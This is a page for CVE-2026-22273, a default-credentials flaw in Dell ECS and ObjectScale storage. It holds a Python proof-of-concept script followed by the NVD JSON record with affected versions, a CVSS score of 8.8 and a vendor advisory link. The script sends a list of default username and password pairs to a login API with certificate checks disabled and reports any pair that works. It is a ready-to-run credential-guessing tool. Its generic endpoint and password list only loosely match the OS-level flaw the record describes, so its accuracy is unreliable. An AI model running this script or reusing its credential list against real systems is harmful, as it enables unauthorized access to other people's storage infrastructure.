CVE-2026-22273

#!/usr/bin/env python3 """ CVE-2026-22273 PoC - Dell ECS/ObjectScale Default Credentials Check Note: This is for authorized security testing only """ import requests import sys from typing import List, Tuple # Default credentials to test (commonly found in Dell storage systems) DEFAULT_CREDENTIALS: List[Tuple[str, str]] = [ ("admin", "password"), ("admin", "admin"), ("root", "calvin"), ("administrator", "password"), ("ecsadmin", "ecsadmin"), ("objectscale", "objectscale"), ("support", "support"), ("diag", "diag") ] def check_default_credentials(target_url: str) -> dict: """ Check if target Dell ECS/ObjectScale instance uses default credentials """ results = { "target": target_url, "vulnerable": False, "valid_credentials": None, "message": "" } # Test API endpoint for authentication auth_endpoint = f"{target_url.rstrip('/')}/api/v1/login" for username, password in DEFAULT_CREDENTIALS: try: response = requests.post( auth_endpoint, json={"username": username, "password": password}, timeout=10, verify=False ) if response.status_code == 200: data = response.json() if data.get("status") == "success" or "token" in data: results["vulnerable"] = True results["valid_credentials"] = {"username": username, "password": password} results["message"] = f"Default credentials found: {username}:{password}" return results except requests.exceptions.RequestException: continue results["message"] = "No default credentials found or target not accessible" return results if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_22273_poc.py <target_url>") sys.exit(1) target = sys.argv[1] result = check_default_credentials(target) print(f"Target: {result['target']}") print(f"Vulnerable: {result['vulnerable']}") print(f"Message: {result['message']}")

{"cve": {"id": "CVE-2026-22273", "sourceIdentifier": "[email protected]", "published": "2026-01-23T10:15:53.317", "lastModified": "2026-02-18T13:55:12.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell ECS, versions 3.8.1.0 through 3.8.1.7, and Dell ObjectScale versions prior to 4.2.0.0, contains an Use of Default Credentials vulnerability in the OS. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges."}, {"lang": "es", "value": "Dell ECS, versiones 3.8.1.0 hasta 3.8.1.7, y Dell ObjectScale versiones anteriores a 4.2.0.0, contiene una vulnerabilidad de Uso de Credenciales por Defecto en el SO. Un atacante con pocos privilegios con acceso remoto podría potencialmente explotar esta vulnerabilidad, lo que llevaría a una Elevación de privilegios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1392"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:elastic_cloud_storage:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.8.1.0", "versionEndExcluding": "4.2.0.0", "matchCriteriaId": "8FFE0BD5-DC60-46D3-9A26-6E82DBB982EC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:dell:objectscale:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.0.0", "matchCriteriaId": "25F884EC-C7A1-4734-8C17-08BFF2046175"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000415880/dsa-2026-047-security-update-for-dell-ecs-and-objectscale-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}